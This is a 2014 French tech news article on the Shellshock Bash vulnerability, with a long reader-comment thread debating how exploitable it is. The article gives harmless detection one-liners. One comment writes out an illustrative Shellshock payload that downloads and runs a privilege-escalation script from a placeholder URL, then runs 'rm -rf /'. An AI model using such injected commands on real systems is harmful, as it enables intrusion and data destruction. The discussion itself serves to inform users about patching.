Connexion

Catégories

Droit Économie Flock Hardware IA Internet Logiciel Sciences Sécurité Société

Nous Suivre

Contact rédaction Contact site Forum
Flux RSS GitHub Discord

À propos

Abonnez-vous

Bash : une importante faille de sécurité affecte Linux, Unix et OS X

On vérifie ses mises à jour en vitesse

Bash : une importante faille de sécurité affecte Linux, Unix et OS X

Le 25 septembre 2014 à 11h00

Le Bash, shell le plus couramment utilisé dans les distributions Linux et sous Unix, est victime d’une importante faille de sécurité qui peut être exploitée à distance. Si elle peut avoir la même portée que la fameuse brèche HeartBleed, elle n’en a pour autant pas la même dangerosité, et des correctifs ont déjà été déployés.

Qu’est-ce que le Bash ? Signifiant « Bourne-Again shell », il est une évolution du premier Bourne Shell, auquel il apporte des améliorations. Il est le shell par défaut d’un grand nombre de systèmes, c’est-à-dire l’interface par laquelle on peut piloter diverses opérations par des lignes de commande. Cet interpréteur se retrouve ainsi au cœur de distributions Linux très connues telles que Debian, Ubuntu et Red Hat, mais également dans des systèmes Unix et OS X.

 

C’est cette importante présence dans l’univers de l’open source qui rend la nouvelle faille dangereuse. Elle a été découverte par un Français, Stéphane Chazelas, et affecte pratiquement toutes les versions de Bash, de la 1.14 à 4.3 et permet à l’attaquant de réaliser une exploitation à distance en provoquant l’exécution de commandes arbitraires.

 

S’il y a de fortes chances pour qu’une immense majorité de serveurs soit concernée par cette faille, elle reste moins dangereuse que HeartBleed. Elle réside dans la manière dont Bash interprète les variables d’environnement et peut être utilisée dans une grande variété de contextes : une requête depuis le web, depuis une application exécutant des scripts Bash, des sessions Telnet et ainsi de suite. Le facteur limitant la dangerosité de la faille est que les commandes effectuées ne peuvent pas avoir plus de privilèges que l’utilisateur actif n’en a lui-même.

 

The Hackers News propose deux lignes de commande à taper dans le terminal d’un système d’exploitation concerné pour vérifier si la faille peut être exploitée :

  • env X="() { :;} ; echo shellshock" /bin/sh -c "echo completed"
  • env X="() { :;} ; echo shellshock" `which bash` -c "echo completed"

En cas de faille présente, le shell affichera coup sur coup « shellshock » et « completed ». Ce qui permet de vérifier par exemple qu’un Mac totalement à jour sous Mavericks 10.9.5 est bien vulnérable.

 

bash sécurité osx

 

Un nombre croissant d’éditeurs a déjà publié des patchs de sécurité et les mises à jour sont disponibles dans les dépôts. Leur installation rapide est évidemment recommandée pour ne pas risquer quoi que ce soit. Debian, Ubuntu et CentOS ont ainsi communiqué sur le sujet, tandis que Red Hat et Fedora disposent elles aussi d’un patch. Du côté de GitHub, on précise que plusieurs patchs ont été émis pour GitHub Enterprise.

Commentaires (211)

Vous devez être abonné pour pouvoir commenter.

Abonnez-vous
votre avatar







arno53 a écrit :



Y’a quelqu’un de courageux pour expliquer la faille avec des mots simple <img data-src=" /> ?







Utilise une erreur à l’intersection entre le traitement par bash de l’initialisation de l’environnement et de la définition des fonctions pour exécuter des commandes d’une manière inhabituelle.



À mon tour maintenant de demander en quoi c’est une faille si importante:




  • Pas d’élévation de privilège

  • Pour exécuter la commande dite dangereuse, faut déjà avoir le droit d’éxécuter n’importe quelle commande. Alors ?


votre avatar

Et concernant Openwrt grave ou pas ? Parce que j’ai aussi un routeur sous Openwrt moi…

votre avatar







HPact a écrit :



Donc, il faut déjà avoir accès à la machine, ou exploiter une autre faille pour pouvoir faire exécuter un bash à distance et exploiter cette vulnérabilité. Me trompe-je?





D’après ce que je comprends de la “faille”, notez les guillemets, elle permet à un utilisateur déjà identifié et disposant d’un certain nombre de droits sur la machine cible d’exécuter des commandes avec le même niveau de droit, dans un shell conçu spécialement pour lancer des commandes, justement. Pourquoi je trouve que ça pue le FUD à plein nez ?


votre avatar







LordZurp a écrit :



en gros, le programme bash (qui est un peu la base de tout système linux, et est utilisé par quasiment tous les autres programmes) se foire quand on lui envoie une commande spécialement écrite pour.c’est utilisable via le web : quand tu accèdes à un site, ton navigateur dit “je suis X, je veux voir la page Y”, le serveur web passe l’info au bash “ya X qui veut voir Y, envoie moi la page”. l’attaque ferait “je suis X, je veux voir Y, et en passant efface tout le disque” et le bash execute toute la commande sans verificationen gros, le programme bash (qui est un peu la base de tout système linux, et est utilisé par quasiment tous les autres programmes) se foire quand on lui envoie une commande spécialement écrite pour.c’est utilisable via le web : quand tu accèdes à un site, ton navigateur dit “je suis X, je veux voir la page Y”, le serveur web passe l’info au bash “ya X qui veut voir Y, envoie moi la page”. l’attaque ferait “je suis X, je veux voir Y, et en passant efface tout le disque” et le bash execute toute la commande sans verification





Attend… j’ai pas bien suivi l’histoire avec X et Y&nbsp;<img data-src=" />


votre avatar

Ça tombe bien j’ai mis mes Linux à jours hier. <img data-src=" />

votre avatar







levhieu a écrit :



Utilise une erreur à l’intersection entre le traitement par bash de l’initialisation de l’environnement et de la définition des fonctions pour exécuter des commandes d’une manière inhabituelle.



À mon tour maintenant de demander en quoi c’est une faille si importante:




  • Pas d’élévation de privilège

  • Pour exécuter la commande dite dangereuse, faut déjà avoir le droit d’éxécuter n’importe quelle commande. Alors ?





    Imagine un serveur web qui “sou-traite” des fonctions à bash, genre manipulation de fichiers en passant par des variables d’environnement. Tu peux injecter ton attaque par la alors que normalement tu n’as pas accès au shell.


votre avatar







arno53 a écrit :



Y’a quelqu’un de courageux pour expliquer la faille avec des mots simple <img data-src=" /> ?







La faille permet d’executer automatiquement une ligne de commande arbitraire au prochain lancement de “bash”.



Pour cela, il faut créer une variable d’environnement spécialement conçue sur le serveur.



Exemple: un compte “invité” qui a accès au serveur crée une variable d’environnement qui va executer un gros “rm ”. Plus tard, l’administrateur se loggue et ouvre un terminal… et paf ! Bash se lance et execute le “rm ” avec les droits admin.


votre avatar

Sans doute une des plus importantes failles avec HeartBleed ces derniers temps. Heureusement les failles découvertes sont toujours en full disclosure, et les patches sont disponibles en moins de 48h.



Plus qu’à mettre à jour mes machines <img data-src=" />

votre avatar

on la refait avec des retours chariot&nbsp;<img data-src=" />&nbsp;



&nbsp;en gros, le programme bash (qui est un peu la base de tout système linux, et est utilisé par quasiment tous les autres programmes) se foire quand on lui envoie une commande spécialement écrite pour.&nbsp;



&nbsp;c’est utilisable via le web : quand tu accèdes à un site, ton navigateur dit “je suis X, je veux voir la page Y”, le serveur web passe l’info au bash “ya X qui veut voir Y, envoie moi la page”.&nbsp;



&nbsp;l’attaque ferait “je suis X, je veux voir Y, et en passant efface tout le disque” et le bash execute toute la commande sans verification

votre avatar

On peut même plus troller gentiment.<img data-src=" />



En plus j’ai même plus de windows à la maison…je suis full linux (mint et openelec).<img data-src=" />

votre avatar







127.0.0.1 a écrit :



La faille permet d’executer automatiquement une ligne de commande arbitraire au prochain lancement de “bash”.



Pour cela, il faut créer une variable d’environnement spécialement conçue sur le serveur.



Exemple: un compte “invité” qui a accès au serveur crée une variable d’environnement qui va executer un gros “rm ”. Plus tard, l’administrateur se loggue et ouvre un terminal… et paf ! Bash se lance et execute le “rm ” avec les droits admin.







En mot simple,on appel ça faire sa pute quand même. <img data-src=" />


votre avatar







psn00ps a écrit :



Je crois que tu es bisounours sur ce coup là <img data-src=" />





ET pourtant toutes les docs apache disent bien que le serveur ne doit pas pouvoir réécrire les documents, surtout les documents dynamiques. Un admin consciencieux va même au-delà, et isole son serveur apache (VM, ou au moins chroot).

En tout cas, c’est ce que je fais.


votre avatar

Mis à jour !



Merci de l’info <img data-src=" />

votre avatar







alexandredenis a écrit :



Un noob qui fait des cgi, il n’a pas besoin de faille bash pour se tirer une balle dans le pied tout seul comme un grand.







Tu pars du principe que le noob a écrit le cgi…



… moi je pars du principe que le noob bosse dans une adminstration/grande entreprise et s’est vu refiler la gestion du serveur, et qui a suivi une procédure pas à pas d’installation du progiciel xyz…



Sérieusement, quand tu regardes, les softs “pro”, tu en as un paquet dont le manuel d’installation commence par “comment installer un red hat d’il y a deux ans depuis le cd”, avec des screenshots pour que le noob sache où cliquer sur next et où désactiver SELinux.


votre avatar







zempa a écrit :



Donc je vois pas très bien comment on peut facilement exploiter cette faille.







Un truc tout con, tu mets ton script qui exploite la vulnérabilité dans ton user-agent. Si celui ci est traité via un script CGI faisant appelle à bash, c’est fini !





Au passage, il n’y a pas que les les système Unix qui sont vulnérable





Disons que c’est déjà pas mal. On oublie assez souvent c’est que les systèmes UNIX sont un peu partout. Ils sont dans les hyperviseurs VMWARE, dans les routeur CISCO etc…


votre avatar







arno53 a écrit :



Testé en entreprise ceci dit, je ne sais pas si on est censé avoir un accès internet “ouvert” ou si le test se suffit à lui-même.







Ni l’un ni l’autre, ça permet juste de tester si on peut injecter des trucs “pas prévus dans le manuel” dans les variables d’environnement.

Bref, ça ne répond qu’à la question : ma version de bash est-elle vulnérable?

Mais ça ne répond pas à la question : ma machine est-elle vulnérable?


votre avatar







psn00ps a écrit :



Je crois que tu es bisounours sur ce coup là <img data-src=" />





Je n’ai pas dis combien de % de personnes je considérais comme “débutant” <img data-src=" /> <img data-src=" />


votre avatar







CaptainDangeax a écrit :



Erreur mon petit localhost. Quand tu définis une variable d’environnement dans un shell utilisateur, sa portée est limitée aux programmes qui seront lancés à partir de ce shell. Ça limite la portée et surtout les gags de l’invité ne toucheront que l’invité.







C’était une explication “simpliste” comme demandée par le posteur.



Dans la réalité, le compte “invité” se créera une variable d’env avant de se connecter au serveur via ssh par exemple, et le daemon sshd (root) du serveur va accepter la variable d’env (directive AcceptEnv), lancer bash et executer la commande de la mort.



Ca doit surement être le genre d’attaque qui est lancé depuis ce matin sur les serveurs du web…


votre avatar







ragoutoutou a écrit :



Tu pars du principe que le noob a écrit le cgi…



… moi je pars du principe que le noob bosse dans une adminstration/grande entreprise et s’est vu refiler la gestion du serveur, et qui a suivi une procédure pas à pas d’installation du progiciel xyz…



Sérieusement, quand tu regardes, les softs “pro”, tu en as un paquet dont le manuel d’installation commence par “comment installer un red hat d’il y a deux ans depuis le cd”, avec des screenshots pour que le noob sache où cliquer sur next et où désactiver SELinux.





Pour un serveur un peu critique, genre apache (a fortiori avec cgi), serveur NFS, ou bastion ssh, si l’admin n’a pas les notions de sécurité élémentaires, il est quasi-certainement vulnérable, faille ou pas faille.


votre avatar







127.0.0.1 a écrit :



C’était une explication “simpliste” comme demandée par le posteur.



Dans la réalité, le compte “invité” se créera une variable d’env avant de se connecter au serveur via ssh par exemple, et le daemon sshd (root) du serveur va accepter la variable d’env (directive AcceptEnv), lancer bash et executer la commande de la mort.



Ca doit surement être le genre d’attaque qui est lancé depuis ce matin sur les serveurs du web…





Si tu peux te connecter au serveur en ssh tu peux faire plus dégât ou autant de dégât qu’avec la faille…



L’attaque la plus probable est celle-ci



Jed08 a écrit :



Un truc tout con, tu mets ton script qui exploite la vulnérabilité dans ton user-agent. Si celui ci est traité via un script CGI faisant appelle à bash, c’est fini !





votre avatar







127.0.0.1 a écrit :



C’était une explication “simpliste” comme demandée par le posteur.



Dans la réalité, le compte “invité” se créera une variable d’env avant de se connecter au serveur via ssh par exemple, et le daemon sshd (root) du serveur va accepter la variable d’env (directive AcceptEnv), lancer bash et executer la commande de la mort.



Ca doit surement être le genre d’attaque qui est lancé depuis ce matin sur les serveurs du web…





Sauf que sshd abandonne les droits root avant de lancer bash. Donc non, ça ne marche pas ton scénario.

En plus, un compte invité avec ssh activé, tu peux virer l’admin pour faute grave.


votre avatar







alexandredenis a écrit :



Pour un serveur un peu critique, genre apache (a fortiori avec cgi), serveur NFS, ou bastion ssh, si l’admin n’a pas les notions de sécurité élémentaires, il est quasi-certainement vulnérable, faille ou pas faille.





Bien entendu, mais les admins sous-qualifiés, ça court les rues malheureusement.


votre avatar







alexandredenis a écrit :



Sauf que sshd abandonne les droits root avant de lancer bash. Donc non, ça ne marche pas ton scénario.

En plus, un compte invité avec ssh activé, tu peux virer l’admin pour faute grave.





A condition que tu ais mis l’interdiction d’avoir un tel compte dans tes polices de sécurité….


votre avatar

@srv:~ # pkg audit -F

Fetching vuln.xml.bz2: 100%

0 problem(s) in the installed packages found.



<img data-src=" />

votre avatar







pentest a écrit :



@srv:~ # pkg audit -F

Fetching vuln.xml.bz2: 100%

0 problem(s) in the installed packages found.



<img data-src=" />





Bah en meme temps bash est pas installé par défaut sur FreeBSD. Donc bon il est plutôt “normal” que ton système soit pas touché.



<img data-src=" />



Edit :

et cela a été corrigé il y a 20h

https://svnweb.freebsd.org/ports/head/shells/bash/


votre avatar

Donc, pour résumer la niouze et tous les posts, cette faille a une portée limitée à un certain nombre de serveurs qui déjà ne sont pas maintenus à jour et qui exploitent un ensemble bien particulier de services, de plus mal configurés d’un point de vue sécurité, la faille elle-même n’étant pas suffisante à elle seule pour permettre de compromettre une machine. Donc pas de quoi s’inquiéter pour Mme Michu qui fait un peu de firefox / thunderbird / chrome / gimp / clementine avec son Linuxmint…

votre avatar







loloemr a écrit :



Bah en meme temps bash est pas installé par défaut sur FreeBSD. Donc bon il est plutôt “normal” que ton système soit pas touché.



<img data-src=" />



Edit :

et cela a été corrigé il y a 20h

https://svnweb.freebsd.org/ports/head/shells/bash/









C’est pas la faille bash qui m’intéresse dans ma démonstration. C’est la méthode employée pour rechercher une faille dans le système, au lieu de copier/coller et executer aveuglement une ligne de code.



Freebsd <img data-src=" />


votre avatar







LordZurp a écrit :



en gros, le programme bash (qui est un peu la base de tout système linux, et est utilisé par quasiment tous les autres programmes) se foire quand on lui envoie une commande spécialement écrite pour.c’est utilisable via le web : quand tu accèdes à un site, ton navigateur dit “je suis X, je veux voir la page Y”, le serveur web passe l’info au bash “ya X qui veut voir Y, envoie moi la page”. l’attaque ferait “je suis X, je veux voir Y, et en passant efface tout le disque” et le bash execute toute la commande sans verificationen gros, le programme bash (qui est un peu la base de tout système linux, et est utilisé par quasiment tous les autres programmes) se foire quand on lui envoie une commande spécialement écrite pour.c’est utilisable via le web : quand tu accèdes à un site, ton navigateur dit “je suis X, je veux voir la page Y”, le serveur web passe l’info au bash “ya X qui veut voir Y, envoie moi la page”. l’attaque ferait “je suis X, je veux voir Y, et en passant efface tout le disque” et le bash execute toute la commande sans verification





Ouaip. Fumeux ton scénario. D’abord, Apache n’utilise pas le bash pour accéder aux fichiers, il utilise la librairie standard comme tout programme écrit en C. Un peu de lecture. Ensuite ta commande s’exécute avec les droits de l’utilisateur, ici ton serveur Apache qui, s’il est bien configuré, a des droits en écriture TRÈS limités, voire pas de droit en écriture du tout. Ça limite les dégas.


votre avatar







CaptainDangeax a écrit :



D’après ce que je comprends de la “faille”, notez les guillemets, elle permet à un utilisateur déjà identifié et disposant d’un certain nombre de droits sur la machine cible d’exécuter des commandes avec le même niveau de droit, dans un shell conçu spécialement pour lancer des commandes, justement. Pourquoi je trouve que ça pue le FUD à plein nez ?





Oui et non.



Globalement, sur ton PC qui n’a pas de serveur web (typiquement) tu crains rien. Bon sauf si tu tapes ta commande.



Ensuite, sur un serveur, bah effacer tout le disque dur tu ne peux pas car il faudrait en plus passer par un script qui utilise une faille dans le noyau linux pour avoir une élévation de privilège.



Du genre :



env X=“() { :;} ; wgethttp://mon_script_qui_me_permet_de_passer_root; ./mon_script_qui_permet_de_passer_root; rm -rf /” which bash -c “whoami”





En fait, sur pas mal de serveur Web anciens, genre noyau avec faille présente, bash non patché, tu peux faire très très mal.







127.0.0.1 a écrit :



La faille permet d’executer automatiquement une ligne de commande arbitraire au prochain lancement de “bash”.



Pour cela, il faut créer une variable d’environnement spécialement conçue sur le serveur.



Exemple: un compte “invité” qui a accès au serveur crée une variable d’environnement qui va executer un gros “rm ”. Plus tard, l’administrateur se loggue et ouvre un terminal… et paf ! Bash se lance et execute le “rm ” avec les droits admin.





Euh ta variable d’env elle est pas pour tout le monde mais juste pour l’instance de bash qui est executée ensuite.





votre avatar







LordZurp a écrit :



en gros, le programme bash (qui est un peu la base de tout système linux, et est utilisé par quasiment tous les autres programmes) se foire quand on lui envoie une commande spécialement écrite pour.c’est utilisable via le web : quand tu accèdes à un site, ton navigateur dit “je suis X, je veux voir la page Y”, le serveur web passe l’info au bash “ya X qui veut voir Y, envoie moi la page”. l’attaque ferait “je suis X, je veux voir Y, et en passant efface tout le disque” et le bash execute toute la commande sans verificationen gros, le programme bash (qui est un peu la base de tout système linux, et est utilisé par quasiment tous les autres programmes) se foire quand on lui envoie une commande spécialement écrite pour.c’est utilisable via le web : quand tu accèdes à un site, ton navigateur dit “je suis X, je veux voir la page Y”, le serveur web passe l’info au bash “ya X qui veut voir Y, envoie moi la page”. l’attaque ferait “je suis X, je veux voir Y, et en passant efface tout le disque” et le bash execute toute la commande sans verification





Tout ça ne passe dans des variables d’environnement shell que dans la cas de cgi. Pour un simple site web statique, pas de bash. Pas de cgi, pas de vulnérabilité.


votre avatar







ZiXiS a écrit :



Imagine un serveur web qui “sou-traite” des fonctions à bash, genre manipulation de fichiers en passant par des variables d’environnement. Tu peux injecter ton attaque par la alors que normalement tu n’as pas accès au shell.





C’est toujours la même chose. Le programmeur qui passe en paramètre n’importe quelle chaîne sans en vérifier la syntaxe ne mérite que le fouet. EXEMPLE.

Il y avait l’injection SQL, il y a l’injection bash, les dégas sont fonction des droits du programme appelant.


votre avatar







CaptainDangeax a écrit :



Ouaip. Fumeux ton scénario. D’abord, Apache n’utilise pas le bash pour accéder aux fichiers, il utilise la librairie standard comme tout programme écrit en C. Un peu de lecture. Ensuite ta commande s’exécute avec les droits de l’utilisateur, ici ton serveur Apache qui, s’il est bien configuré, a des droits en écriture TRÈS limités, voire pas de droit en écriture du tout. Ça limite les dégas.







Ouai mais là t’es en train de dire que la majorité des utilisateurs savent configurer correctement les users et n’utilisent pas le root. <img data-src=" />



Lequel des deux scénarios est le plus fumeux? <img data-src=" />


votre avatar

Linuxmint patché ce matin, faille absente.

votre avatar







ZiXiS a écrit :



Imagine un serveur web qui “sou-traite” des fonctions à bash, genre manipulation de fichiers en passant par des variables d’environnement. Tu peux injecter ton attaque par la alors que normalement tu n’as pas accès au shell.







Pour faire ça, il faut aussi trouver une faille dans le serveur web.


votre avatar







CaptainDangeax a écrit :



C’est toujours la même chose. Le programmeur qui passe en paramètre n’importe quelle chaîne sans en vérifier la syntaxe ne mérite que le fouet. EXEMPLE.

Il y avait l’injection SQL, il y a l’injection bash, les dégas sont fonction des droits du programme appelant.





Rien à voir, car là c’est à la création de l’instance de Bash par cgi que cela va être executé, en utilisant par exemple des entêtes pourris.


votre avatar







levhieu a écrit :



Utilise une erreur à l’intersection entre le traitement par bash de l’initialisation de l’environnement et de la définition des fonctions pour exécuter des commandes d’une manière inhabituelle.



À mon tour maintenant de demander en quoi c’est une faille si importante:




  • Pas d’élévation de privilège

  • Pour exécuter la commande dite dangereuse, faut déjà avoir le droit d’éxécuter n’importe quelle commande. Alors ?





    Pas d’élévation de privilège je ne suis pas d’accord si on l’utilise sur un serveur ssh on peut exécuter des commande en root, de même que lorsqu’on l’utilise avec dhcpclient (car ces deamon sont exécuter en root). Et pour exécuter la commande dangereuse il faut juste pouvoir exporter une variable d’environnement. Ce que fais apache avec le mod cgi ou dhcpclient …


votre avatar







CaptainDangeax a écrit :



C’est toujours la même chose. Le programmeur qui passe en paramètre n’importe quelle chaîne sans en vérifier la syntaxe ne mérite que le fouet. EXEMPLE.

Il y avait l’injection SQL, il y a l’injection bash, les dégas sont fonction des droits du programme appelant.





A tester…http://a.fsdn.com/sd/firehose/010/779/180-1.png


votre avatar







millman42 a écrit :



Pas d’élévation de privilège je ne suis pas d’accord si on l’utilise sur un serveur ssh on peut exécuter des commande en root, de même que lorsqu’on l’utilise avec dhcpclient (car ces deamon sont exécuter en root). Et pour exécuter la commande dangereuse il faut juste pouvoir exporter une variable d’environnement. Ce que fais apache avec le mod cgi ou dhcpclient …





Encore faudrait-il avoir le mot de passe ou la clé pour se connecter en SSH.


votre avatar







gokudomatic a écrit :



et tu as bien cru. Le temps que la news a été écrit, 5 nouvelles failles ont été trouvés dans windows.







<img data-src=" />



La riposte est aussi moche et basse que l’attaque. <img data-src=" />





Bon sur ce et pour voir si je résume bien l’ampleur du dégats : pour Madame Michu qui emploie son Ubuntu pour taper des lettres avec son pare-feu favori, pour lire ses mails et surfer sur interné, voir pour rajouter des grandes dents au grolland avec The Gimp … quand bien même autoriserait-elle un accès SSH 2 à son support, il n’y a pas de quoi la faire entrer en mode stress à cause d’un malheureux Linux Bashing …



En gros, seuls certains serveurs sont réelement concernés.



je me trompe ?


votre avatar







Ailiosa a écrit :



Ouai mais là t’es en train de dire que la majorité des utilisateurs savent configurer correctement les users et n’utilisent pas le root. <img data-src=" />



Lequel des deux scénarios est le plus fumeux? <img data-src=" />





Les gens qui installent un serveur web, et activent les cgi, je pense que la majorité d’entre eux ne sont pas des noobs.


votre avatar







Ailiosa a écrit :



Ouai mais là t’es en train de dire que la majorité des utilisateurs savent configurer correctement les users et n’utilisent pas le root. <img data-src=" />



Lequel des deux scénarios est le plus fumeux? <img data-src=" />





On parle de SERVEUR. Quel utilisateur active un serveur après avoir créé des pages dynamiques qui utilisent BASH ? Quel utilisateur laisse son bash ouvert au monde entier ? On n’est pas dans le monde où la frontière entre l’utilisateur et l’administrateur se limite à un clic sur un bouclier, et encore seulement à l’entrée de C:\PROGRA~1 et quelques autres. Tu la sens, la fumée ?


votre avatar







luxian a écrit :



Bon sur ce et pour voir si je résume bien l’ampleur du dégats : pour Madame Michu qui emploie son Ubuntu pour taper des lettres avec son pare-feu favori, pour lire ses mails et surfer sur interné, voir pour rajouter des grandes dents au grolland avec The Gimp … quand bien même autoriserait-elle un accès SSH 2 à son support, il n’y a pas de quoi la faire entrer en mode stress à cause d’un malheureux Linux Bashing …





Tout à fait.







luxian a écrit :



En gros, seuls certains serveurs sont réelement concernés.





Et là c’est le drame : tout dépend de ce que tu appelles certains, mais cela peut fait un bon paquet de dégat car certains doit se chiffrer en milliers.


votre avatar







CaptainDangeax a écrit :



C’est sûr que même certifié MS, il est armé pour administrer du Linux… Je sais de quoi je parle, je suis MCSE Win2000, le truc qui faisait déjà du datawarehouse sur des disques limités à 128GB.







Attends, on parle de l’administration publique française ici ! Le machin qui n’a pas de sous pour agir mais coûte trop cher quand même, fait ce qu’il peut pour tourner correctement avec les lois et règlements souvent ineptes et incohérents dont il doit assurer le fonctionnement, et emploie des bac + 4 à un poste ou un simple bachelier serait suffisant…



Alors, le sysadmin, sa seule certif, c’est d’être capable d’installer un logiciel qui fonctionne sur une machine win sans la briquer au passage. Je ne t’apprendrai rien en te disant qu’une certif MS, c’est pas offert en bundle avec windows, et ça coûte un certain prix en frais de formation… Donc, trop cher pour l’Etat.


votre avatar







loloemr a écrit :



:%s/serveur/service/g





My bad <img data-src=" />


votre avatar







Commentaire_supprime a écrit :



Bon, notre serveur est sous Windows cela dit en passant… <img data-src=" /><img data-src=" /><img data-src=" /><img data-src=" /><img data-src=" />





En même temps, Linux sur un intel 80286, ça ne fonctionne pas. <img data-src=" /> <img data-src=" />


votre avatar







Citan666 a écrit :



Idem pour moi, Kubuntu 13.10 64bits, Bash v4.2.45(1).

Testé en entreprise ceci dit, je ne sais pas si on est censé avoir un accès internet “ouvert” ou si le test se suffit à lui-même.





sudo apt-get update

sudo apt-get updgrade





et tu sera comme moi, pas de faille …


votre avatar

Je viens de tenter les 2 commandes qui donnent le même résultat (opensuse 13.1).

2 messages d’erreur puis completed.

Je suppose que le problème est au moins partiellement corrigé.

votre avatar







Zergy a écrit :



En même temps, Linux sur un intel 80286, ça ne fonctionne pas. <img data-src=" /> <img data-src=" />





challenge accepted.<img data-src=" />


votre avatar







Zergy a écrit :



En même temps, Linux sur un intel 80286, ça ne fonctionne pas. <img data-src=" /> <img data-src=" />







Rigole pas, on va avoir un nouveau serveur : on a pu récupérer une mobo en état de marche avec un Pentium III dans une casse !



<img data-src=" /><img data-src=" /><img data-src=" /><img data-src=" /><img data-src=" />


votre avatar







ledufakademy a écrit :



sudo apt-get update

sudo apt-get updgrade





et tu sera comme moi, pas de faille …





sur de la prod mieux vaut màj que le package <img data-src=" />


votre avatar







typhoon006 a écrit :



sur de la prod mieux vaut màj que le package <img data-src=" />





Lapin compris ?<img data-src=" />


votre avatar







Commentaire_supprime a écrit :



Rigole pas, on va avoir un nouveau serveur : on a pu récupérer une mobo en état de marche avec un Pentium III dans une casse !



<img data-src=" /><img data-src=" /><img data-src=" /><img data-src=" /><img data-src=" />





J’ai encore un PIII 650 sous Debian 7 qui tourne chez moi, avec deux DD SATA 2Tio via carte PCI SATA, il me sert de serveur de fichiers.

Oui, c’est sale, je sais. <img data-src=" />


votre avatar







Commentaire_supprime a écrit :



Rigole pas, on va avoir un nouveau serveur : on a pu récupérer une mobo en état de marche avec un Pentium III dans une casse !



<img data-src=" /><img data-src=" /><img data-src=" /><img data-src=" /><img data-src=" />





Et dire que la semaine prochaine, je balancerai un serveur Xeon E5520 à la jaille.


votre avatar







Zergy a écrit :



J’ai encore un PIII 650 sous Debian 7 qui tourne chez moi, avec deux DD SATA 2Tio via carte PCI SATA, il me sert de serveur de fichiers.

Oui, c’est sale, je sais. <img data-src=" />





Au moins, il ne consomme pas trop, la conso maximale du pétrois n’est que 22 watts.


votre avatar

Lu l’actu, fait le test (faille présente), lancé les màj, refait le test (faille corrigée).



Les gars qui maintiennent ça sont des héros <img data-src=" />

votre avatar

Waouhh, c’est vraiment le néant cette news pour le coup …



On finit de lire l’article, on en apprend pas plus qu’en ayant lu le titre…



Enfin je parle concrètement sur la faille elle même.

votre avatar







CaptainDangeax a écrit :



Et dire que la semaine prochaine, je balancerai un serveur Xeon E5520 à la jaille.





Euh si tu sais pas quoi en faire …. <img data-src=" />







coolraoul a écrit :



Waouhh, c’est vraiment le néant cette news pour le coup …



On finit de lire l’article, on en apprend pas plus qu’en ayant lu le titre…



Enfin je parle concrètement sur la faille elle même.





Bah il y a pas grand chose à comprendre. La faille c’est : je peux utiliser une définition de fonction malicieuse dans ma variable d’ENV.

<img data-src=" />



C’est juste un énorme trou de sécu de bash depuis 20 ans



<img data-src=" />


votre avatar







Jed08 a écrit :



A titre d’information (pour ceux qui veulent des détails un peu technique et qui parlent anglais), Robert Graham a écrit 3 articles sur le ShellShock :

http://blog.erratasec.com/2014/09/bash-bug-as-big-as-heartbleed.html#.VCP8l1ffhG…

http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html#.VCP8m1f…

http://blog.erratasec.com/2014/09/bash-shellshock-bug-is-wormable.html#.VCP8m1ff…



Et apparemment des gens utilisent masscan pour déposer des malwares vers les serveurs vulnérables…









Update: Someone is using masscan to deliver malware. They’ll likely have compromised most of the system I’ve found by tomorrow morning. If they using different URLs and fix the Host field, they’ll get tons more.



super, génial


votre avatar







loloemr a écrit :



http://www.debianadmin.com/how-to-prevent-a-package-from-being-updated-in-debian…

Un peu de recherche sur Google ?

https://www.drupal.org/node/244924



Edit : pardon, oui pour ta question, le files doit appartenir au serveur web.





Ok pour la méthode où tu “enchaînes” les versions de paquetage. C’est vrai que je pourrais faire ça, mais j’ai peur de pas savoir où m’arrêter et casser des trucs si ensuite je MAJ le reste. Disons que je testerai sur autre machine avant (casser ma machine pro, vu le taff que j’ai en ce moment ce serait pas une bonne idée <img data-src=" />).

Je garde la page sous le coude merci. <img data-src=" />





alexandredenis a écrit :



https://www.debian.org/doc/manuals/securing-debian-howto/ap-chroot-apache-env.fr…





MERCI BEAUCOUP!! Enfin un tuto vraiment pas à pas avec un minimum d’explications sur le pourquoi de chaque commande (j’ai vraiment dû mal cherché, mais les 4-5 tutos que j’ai trouvé allaient trop vite “droit au but”).<img data-src=" />







psn00ps a écrit :



apt-get install bash ?





Perdu <img data-src=" />

“bash est déjà la plus récente version disponible.

0 mis à jour, 0 nouvellement installés, 0 à enlever et 75 non mis à jour.”

(Et j’avais évidemment MAJ la liste des paquets avant).

Bon pas trop grave, je vais juste me planifier une maj système prochainement quoi… <img data-src=" />


votre avatar







Jed08 a écrit :



Un truc tout con, tu mets ton script qui exploite la vulnérabilité dans ton user-agent. Si celui ci est traité via un script CGI faisant appelle à bash, c’est fini !



C’est ce que je pensais, il faut le vouloir <img data-src=" />


votre avatar







benjarobin a écrit :



Je vais aller me prendre… <img data-src=" /> <img data-src=" />

Dis moi que c’est juste pour la blague et que tu ne fais pas ceci en production… <img data-src=" />





Je le fait directement sur la racine, c’est plus simple.

Pourquoi ?


votre avatar







pufff a écrit :



Exact, maintenant il suffit de voir le nombre de serveurs encore vulnérables à Heartbleed pour se faire une idée du niveau de sérieux ambiant, même certaines banques ne sont pas à jour…





Lesquelles ? <img data-src=" />


votre avatar







zempa a écrit :



Je le fait directement sur la racine, c’est plus simple.

Pourquoi ?





De toute façon, tu as installé libreoffice sur ton serveur, non ?

Donc c’est bon tu es protégé …

<img data-src=" />


votre avatar







loloemr a écrit :



De toute façon, tu as installé libreoffice sur ton serveur, non ?

Donc c’est bon tu es protégé …

<img data-src=" />







<img data-src=" />



Ah si j’oubliais histoire d’emmerder mon monde :



“Christine Albanel fait partie de la promotion 2014 de la Légion d’honneur.”

et bien sure …http://www.orange.com/fr/a-propos/Groupe/management/management-bio/Christine-Alb… (Directrice exécutive en charge de la Responsabilité Sociale d’Entreprise, des Evénements, des Partenariats et de la Solidarité. Elle est également Présidente déléguée de la Fondation Orange et Présidente du Conseil d’Administration d’Orange Studio.)


votre avatar

<img data-src=" /> Serveur Intranet mis à jours merci NextInpact <img data-src=" />

votre avatar







Citan666 a écrit :



MERCI BEAUCOUP!! Enfin un tuto vraiment pas à pas avec un minimum d’explications sur le pourquoi de chaque commande (j’ai vraiment dû mal cherché, mais les 4-5 tutos que j’ai trouvé allaient trop vite “droit au but”).<img data-src=" />





Perso, je suis pas super fan du chroot car ça complique pas mal les choses, y compris la gestion des mises à jour. Pour mes serveurs web, j’utilise plutôt SELinux qui encapsule effectivement les accès du serveur httpd et empêche efficacement certains comportements anormaux lorsque le serveur est compromis.



votre avatar

